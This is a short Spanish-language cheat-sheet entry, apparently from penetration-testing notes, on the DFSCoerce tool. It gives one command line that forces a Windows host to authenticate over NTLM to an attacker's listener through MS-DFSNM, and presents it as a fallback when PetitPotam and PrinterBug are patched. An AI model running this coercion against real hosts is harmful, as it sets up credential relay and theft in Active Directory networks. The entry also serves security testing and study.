DFSCoerce

python dfscoerce.py -u <user> -p '<pass>' -d <domain> <listener-ip> <target-ip>

Fuerza autenticación NTLM desde un host al listener mediante el servicio DFS (Distributed File System).

Cuando PetitPotam y PrinterBug están parcheados, DFSCoerce es una alternativa que abusa de MS-DFSNM para forzar autenticación. Útil en entornos donde los otros vectores están mitigados.

Si el servicio DFS está deshabilitado o el host no es vulnerable. También si el firewall bloquea el puerto 445.